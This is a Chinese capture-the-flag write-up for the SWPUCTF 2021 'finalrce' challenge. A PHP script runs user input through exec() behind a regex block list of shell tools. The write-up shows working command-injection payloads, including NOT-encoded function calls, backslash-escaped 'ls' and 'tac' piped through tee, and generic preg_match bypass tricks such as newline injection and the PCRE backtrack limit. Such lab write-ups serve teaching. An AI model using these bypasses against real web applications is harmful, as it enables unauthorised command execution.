[SWPUCTF 2021 新生赛]finalrce
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
正则匹配掉了大部分,基本上普通方法是不能用了,自增RCE也是用不了,但是我们可以看出他没有过滤~和(),所以我们可以取反或者异或来获取flag,先构造payload试试:
?url=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0)
//url=system(ls /);
但是无论怎么试,回显都是
没有思路了,看了看大佬们的wp
这里用到的是linux里的tee
命令,构造payload,由于ls正则表达被过滤,所以我们还需要绕过preg_match
?url=l\s / | tee 1.txt
可能有人不理解这个\(斜杠)
是什么东西,放个图就明白了(写的时候我也没懂)
这里再介绍一下tee命令
tee命令
这里只写在本题中用到的方法
tee的功能是从标准输入读取,再写入标准输出和文件。
用法:tee [OPTION]… [FILE]…
-a, --append 追加到文件
使用示例:
[root@server dir]# echo 'This is a sentence.' | tee output
This is a sentence.
[root@server dir]# cat output
This is a sentence.
[root@server dir]# echo 'This is another sentence.' | tee -a output
This is another sentence.
[root@server dir]# cat output
This is a sentence.
This is another sentence.
[root@server dir]# echo 'This is a unique sentence.' | tee output
This is a unique sentence.
[root@server dir]# cat output
This is a unique sentence.
同时使用两个文件:
[root@server dir]# tee a b
they have the same content
they have the same content
[root@server dir]# cat a
they have the same content
[root@server dir]# cat b
they have the same content
所以在上面的payload中,就是利用tee命令,将执行完system(ls /)的内容都写入到了1.txt
这个文件中
访问1.txt,我们可以看到flllllaaaaaaggggggg文件
然后我们仔细观察上面的过滤,发现没有过滤掉tac,所以我们可以构造payload,并且发现过滤掉了la所以要在la之间放个\:
?url=tac /flllll\aaaaaaggggggg | tee 2.txt
然后访问2.txt即可获得flag
除了反斜杠(\)——转义字符绕过preg_match,在介绍几种绕过方法:
1.换行绕过:
例1:if(preg_match('/^[0-9]*/′,/',/′,GET1)) // GET1不能包含数字
通过**%0a**换行的方式来绕过正则匹配(GET1=%0a0)
例2:preg_match(‘/^.(XXX).$/’, $json)
2.在字符串最前面和最后面添加%0a(url中)或\n(post传数据)来绕过^.*和.*$({%0a"cmd":“ls /”%0a})
PCRE回溯次数限制绕过:
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可
3.加入非ASCII码的字符来绕过
例3:preg_match(‘/utils.php/*$/i’, $_SERVER[‘PHP_SELF’])
我们只需要构造payload:
http://node4.anna.nssctf.cn:28204/index.php/utils.php/%ff+变量名字
就可以进行绕过